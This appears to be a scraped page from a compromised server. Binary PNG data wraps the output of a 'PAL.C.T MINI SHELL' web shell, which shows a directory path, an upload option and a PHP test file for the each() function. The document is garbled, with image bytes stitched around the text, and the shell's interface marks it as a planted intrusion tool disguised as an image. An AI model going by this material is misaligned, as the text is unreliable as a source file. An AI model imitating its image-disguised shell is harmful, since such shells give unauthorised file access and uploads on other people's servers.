php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/standard/tests/array/
upload
files >> //opt/php-7.0.1/ext/standard/tests/array/each_basic.phpt

--TEST--
Test each() function : basic functionality 
--FILE--
<?php
/* Prototype  : array each(array $arr)
 * Description: Return the currently pointed key..value pair in the passed array, 
 * and advance the pointer to the next element 
 * Source code: Zend/zend_builtin_functions.c
 */

/*
 * Test basic functionality of each() 
 */

echo "*** Testing each() : basic functionality ***\n";

$arr = array ('one' => 1, 'zero', 'two' => 'deux', 20 => 'twenty');
echo "\n-- Passed array: --\n";
var_dump($arr);

echo "\n-- Initial position: --\n";
var_dump(each($arr));

echo "\n-- End position: --\n";
end($arr);
var_dump(each($arr));

echo "\n-- Passed the end of array: --\n";
var_dump(each($arr));

echo "Done";
?>
--EXPECTF--
*** Testing each() : basic functionality ***

-- Passed array: --
array(4) {
  ["one"]=>
  int(1)
  [0]=>
  string(4) "zero"
  ["two"]=>
  string(4) "deux"
  [20]=>
  string(6) "twenty"
}

-- Initial position: --
array(4) {
  [1]=>
  int(1)
  ["value"]=>
  int(1)
  [0]=>
  string(3) "one"
  ["key"]=>
  string(3) "one"
}

-- End position: --
array(4) {
  [1]=>
  string(6) "twenty"
  ["value"]=>
  string(6) "twenty"
  [0]=>
  int(20)
  ["key"]=>
  int(20)
}

-- Passed the end of array: --
bool(false)
Done
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`